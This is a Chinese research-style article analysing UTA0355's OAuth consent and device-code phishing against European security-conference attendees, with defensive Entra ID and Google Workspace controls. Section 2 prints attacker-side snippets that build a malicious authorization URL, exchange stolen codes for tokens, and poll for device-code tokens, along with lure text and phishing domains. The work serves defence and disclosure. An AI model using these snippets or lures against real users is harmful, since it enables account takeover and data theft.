基于OAuth滥用的定向钓鱼攻击与防御机制研究

摘要

近年来，高级持续性威胁（APT）组织日益聚焦于利用合法身份认证协议实施隐蔽攻击。本文以安全公司Volexity披露的俄罗斯关联威胁团伙UTA0355为研究对象，系统分析其针对欧洲安全会议场景发起的定向钓鱼行动。该团伙通过仿冒“贝尔格莱德安全会议”（BSC）与“布鲁塞尔印太对话”（BIPD）等高信誉活动，搭建高度仿真的注册网站，诱导目标使用Microsoft或Google账户进行OAuth授权登录。攻击者在后台部署中间人（Adversary-in-the-Middle, AiTM）代理，实时截获授权码、访问令牌及会话Cookie，从而实现对企业邮箱、云存储及协作平台的长期控制。研究表明，此类攻击成功的关键在于对OAuth 2.0授权码流程与设备码流程的深度滥用，结合社会工程中的“议题提交”“注册确认”等高可信场景，有效绕过用户警惕与传统安全检测。本文详细还原攻击链技术细节，包括伪造域名、OAuth重定向劫持、代理式令牌窃取及跨信道（WhatsApp/Signal）诱导等环节，并提出基于条件访问策略（Conditional Access）、应用白名单、第三方授权审计与用户行为验证的纵深防御框架。通过可执行代码示例，验证了OAuth授权监控与自动撤销机制的有效性。研究结论指出，仅依赖用户教育无法应对当前高度专业化、协议级的钓鱼威胁，必须从身份治理与协议使用规范层面重构企业安全边界。

关键词：OAuth钓鱼；中间人代理；UTA0355；定向攻击；Microsoft Entra ID；Google Workspace；条件访问策略

1 引言

随着单点登录（SSO）和第三方授权在企业数字化生态中的普及，OAuth 2.0协议已成为连接用户身份与云服务的核心枢纽。然而，这一便利性也使其成为高级威胁组织的重点攻击面。2025年，网络安全公司Volexity披露了一起由俄罗斯关联团伙UTA0355主导的定向钓鱼行动，其显著特征在于：攻击者不再直接窃取密码，而是诱导目标主动授予恶意应用对其Microsoft 365或Google Workspace账户的访问权限，从而合法获取高权限令牌。

该行动聚焦于欧洲安全政策圈层，目标包括政府外交人员、智库研究员、国际组织代表等高价值个体。攻击者精心选择“贝尔格莱德安全会议”（Belgrade Security Conference, BSC）和“布鲁塞尔印太对话”（Brussels Indo-Pacific Dialogue, BIPD）等真实存在的高端论坛作为诱饵，搭建几乎无法肉眼区分的仿冒报名页面。用户被邀请“完善注册信息”或“提交演讲议题”，并提示“使用Google/Microsoft账号一键登录以简化流程”。一旦用户点击授权，攻击者即通过OAuth授权码或设备码流程，在用户无感知的情况下完成账户接管。

此类攻击之所以高效，源于三个技术与心理层面的耦合：其一，OAuth授权界面由微软或谷歌官方呈现，用户天然信任；其二，授权请求中常包含看似合理的权限范围（如“读取基本资料”），掩盖其后续滥用意图；其三，攻击者通过WhatsApp等即时通讯工具进行二次诱导（如要求“复制浏览器地址栏中的完整URL”），进一步降低怀疑。

本文旨在深入剖析UTA0355所采用的OAuth滥用技术路径，评估其规避能力，并构建一套面向企业环境的、可操作的防御体系。研究不仅关注攻击表象，更聚焦于协议机制本身的可被利用性，为身份安全治理提供理论支撑与实践方案。

2 攻击链技术实现分析

2.1 社会工程诱饵：高可信会议场景构建

攻击始于一封高度定制化的定向邮件，发件人伪装为会议组委会成员，内容提及具体议题方向或注册状态更新。例如：

“尊敬的Dr. Smith，感谢您提交关于‘北约东翼安全态势’的演讲摘要。为完成最终注册，请使用您的机构邮箱通过以下链接确认参会信息。”

邮件中嵌入的链接指向攻击者控制的仿冒域名，如bsc2025[.]org（仿冒BSC官网）或brussels-indo-pacific-forum[.]org（仿冒BIPD）。这些站点完全复刻原会议的视觉设计、导航结构甚至SSL证书（通过Let’s Encrypt自动签发），极大提升可信度。

2.2 OAuth授权流程劫持

当用户点击“使用Google账号登录”按钮时，前端JavaScript发起标准OAuth 2.0授权请求：

const authUrl = 'https://accounts.google.com/o/oauth2/v2/auth?' + new URLSearchParams({

client_id: 'malicious-app-12345.apps.googleusercontent.com',

redirect_uri: 'https://bsc2025.org/oauth/callback',

response_type: 'code',

scope: 'openid email profile https://www.googleapis.com/auth/userinfo.email',

state: generateRandomState()

});

window.location.href = authUrl;

关键在于，client_id属于攻击者在Google Cloud Console注册的恶意OAuth应用，而redirect_uri指向其控制的钓鱼站点。用户在Google官方页面看到的是“bsc2025.org请求访问您的基本资料”，由于域名看似合法，多数用户会选择“允许”。

授权后，Google将授权码（code）发送至redirect_uri。攻击者服务器立即用该code向Google令牌端点交换访问令牌（access token）和刷新令牌（refresh token）：

# 攻击者后端：用授权码换取令牌

import requests

def exchange_code_for_token(auth_code):

resp = requests.post('https://oauth2.googleapis.com/token', data={

'client_id': 'malicious-app-12345.apps.googleusercontent.com',

'client_secret': 'ATTACKER_SECRET',

'code': auth_code,

'grant_type': 'authorization_code',

'redirect_uri': 'https://bsc2025.org/oauth/callback'

})

tokens = resp.json()

# 保存access_token与refresh_token用于后续API调用

store_tokens(tokens['access_token'], tokens['refresh_token'])

return tokens

获得令牌后，攻击者可调用Google People API、Gmail API等，读取联系人、邮件、日历，甚至发送钓鱼邮件扩大攻击面。

2.3 设备码流程（Device Code Flow）滥用

在针对Microsoft账户的变体中，UTA0355采用OAuth 2.0设备码流程，该流程原本用于无浏览器设备（如智能电视）的认证。攻击者引导用户访问一个空白页面，并显示如下提示：

“请在另一台设备上打开 microsoft.com/devicelogin，输入代码：ABCD-EFGH”

同时，攻击者通过WhatsApp联系目标：“为完成注册，请将浏览器地址栏中的完整URL复制给我。” 该URL实际包含设备码和用户代码：

https://login.microsoftonline.com/common/oauth2/v2.0/devicecode?user_code=ABCD-EFGH&device_code=xyz...

一旦用户分享该URL，攻击者即可提取device_code，并在后台轮询Microsoft令牌端点，等待用户在其他设备上完成授权。此方法绕过了对钓鱼页面UI的依赖，更具隐蔽性。

Microsoft设备码流程令牌获取示例：

import time

def poll_for_device_token(device_code):

while True:

resp = requests.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data={

'client_id': 'malicious-m365-app',

'device_code': device_code,

'grant_type': 'urn:ietf:params:oauth:grant-type:device_code'

})

if resp.status_code == 200:

tokens = resp.json()

log_compromised_account(tokens)

break

elif resp.json().get('error') == 'authorization_pending':

time.sleep(5) # 继续轮询

else:

break # 授权失败

2.4 后渗透与持久化

获得初始访问权限后，UTA0355采取多项措施维持访问：

在Microsoft Entra ID中注册伪装设备，名称模仿用户真实主机（如“Johns-MacBook-Pro”）；

使用Android Dalvik/2.1.0用户代理并通过住宅代理IP发起登录，规避异常登录检测；

利用已控账户向联系人发送新的钓鱼邮件，实现横向移动；

通过Signal或WhatsApp主动联系潜在目标，以“会议协调员”身份索要推荐或二次确认，扩大目标池。

Volexity观测到，部分攻击甚至在受害者拒绝参与后，仍会请求“推荐一位可能感兴趣的人选”，形成社交链式传播。

3 企业防御体系构建

面对此类协议级钓鱼攻击，传统防病毒或邮件过滤已显不足。本文提出四层防御策略：

3.1 OAuth应用白名单与条件访问策略

企业应通过Microsoft Entra ID（原Azure AD）或Google Workspace Admin Console，对第三方OAuth应用实施严格管控。

在Microsoft Entra ID中，可配置“用户同意设置”，禁止用户向未批准的应用授予权限：

# PowerShell: 禁止用户同意所有应用

Set-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{

"permissionGrantPoliciesAssigned" = @()

}

更精细的做法是创建“应用审批列表”，仅允许特定ISV（如Zoom、Slack）的应用注册：

// Microsoft Conditional Access Policy 示例

{

"displayName": "Block Unapproved OAuth Apps",

"conditions": {

"applications": {

"includedApplications": ["All"],

"excludedApplications": ["ApprovedApp1-ID", "ApprovedApp2-ID"]

}

},

"grantControls": {

"builtInControls": ["block"]

}

}

在Google Workspace中，管理员可启用“第三方应用限制”策略，要求所有新应用必须经管理员审核：

Admin Console > Security > API controls > App access control > Restrict external apps

3.2 第三方授权定期审计与自动清理

组织应建立自动化机制，定期扫描并撤销高风险或闲置的第三方授权。

以下Python脚本利用Google Admin SDK Directory API列出某用户的所有OAuth客户端授权：

from googleapiclient.discovery import build

def list_user_oauth_grants(user_email, admin_credentials):

service = build('admin', 'directory_v1', credentials=admin_credentials)

grants = service.tokens().list(userKey=user_email).execute()

for grant in grants.get('items', []):

print(f"App: {grant['displayText']} | Client ID: {grant['clientId']}")

# 可在此处添加逻辑：若client_id不在白名单，则调用delete

类似地，Microsoft Graph API支持查询用户授予的同意记录：

GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants

Authorization: Bearer <access_token>

企业可开发内部工具，每周自动标记并通知用户确认非必要授权，或直接批量撤销。

3.3 用户行为验证与安全缓冲区

对于必须参与外部会议的员工，建议：

使用专用邮箱（如events@company.com）进行注册，隔离主账户风险；

手动访问会议官网（通过搜索引擎或官方社交媒体）而非点击邮件链接；

在授权前检查OAuth请求中的client_id是否属于可信实体（可通过公开数据库查询）。

此外，可部署浏览器扩展，在用户访问OAuth授权页面时弹出风险提示：

// Chrome扩展：检测高风险OAuth请求

chrome.webRequest.onBeforeRequest.addListener(

(details) => {

const url = new URL(details.url);

if (url.hostname === 'accounts.google.com' && url.pathname === '/o/oauth2/auth') {

const clientId = url.searchParams.get('client_id');

if (!isTrustedClientId(clientId)) {

showWarningBanner("此应用未获公司批准，授权可能导致账户泄露");

}

}

},

{ urls: ["https://accounts.google.com/o/oauth2/auth*"] }

);

3.4 威胁情报集成与域名监控

安全团队应订阅高质量威胁情报源（如Volexity博客、AlienVault OTX），及时获取UTA0355使用的仿冒域名（如bsc2025.org、ustrs.com），并将其加入防火墙、DNS过滤及邮件网关黑名单。

同时，可部署自动化域名监控系统，对包含组织关键词（如“security conference”、“forum”、“dialogue”）的新注册域名进行告警：

# 伪代码：监控新注册域名

def monitor_new_domains(keywords):

newly_registered = get_whois_data_last_24h()

for domain in newly_registered:

if any(kw in domain.name for kw in keywords):

if not is_official_domain(domain.name):

alert_security_team(f"Suspicious domain: {domain.name}")

4 讨论

UTA0355的攻击表明，现代APT组织已从“破解密码”转向“诱导授权”，其核心优势在于利用协议本身的合法性掩盖恶意意图。OAuth的设计初衷是提升用户体验，但其“用户同意即授权”的模型在缺乏上下文验证的情况下，极易被社会工程利用。

值得注意的是，攻击者对Device Code Flow的使用尤为值得警惕。该流程因无需用户在钓鱼页面输入任何信息，传统基于表单提交的检测完全失效。未来，云服务商应考虑在设备码授权时增加二次确认（如短信验证码），或限制非交互式流程的权限范围。

此外，会议主办方亦负有安全责任。建议所有官方活动在官网显著位置公示唯一报名渠道，并启用DMARC、BIMI等邮件认证技术，防止品牌被仿冒。

5 结语

本文系统分析了俄罗斯关联团伙UTA0355利用欧洲安全会议名义实施的OAuth定向钓鱼攻击，揭示其如何通过高仿真社会工程与协议机制滥用，实现对企业云账户的隐蔽接管。研究表明，此类攻击的成功并非源于技术漏洞，而是对身份信任链的精准操控。防御上，必须超越传统的边界防护思维，转向以身份为中心的零信任架构。通过实施OAuth应用白名单、自动化授权审计、用户行为缓冲与威胁情报联动，企业可显著降低此类高级钓鱼威胁的风险。未来工作将聚焦于开发基于上下文的风险自适应授权引擎，实现“动态同意”机制，从根本上重塑OAuth的安全范式。

编辑：芦笛（公共互联网反网络钓鱼工作组）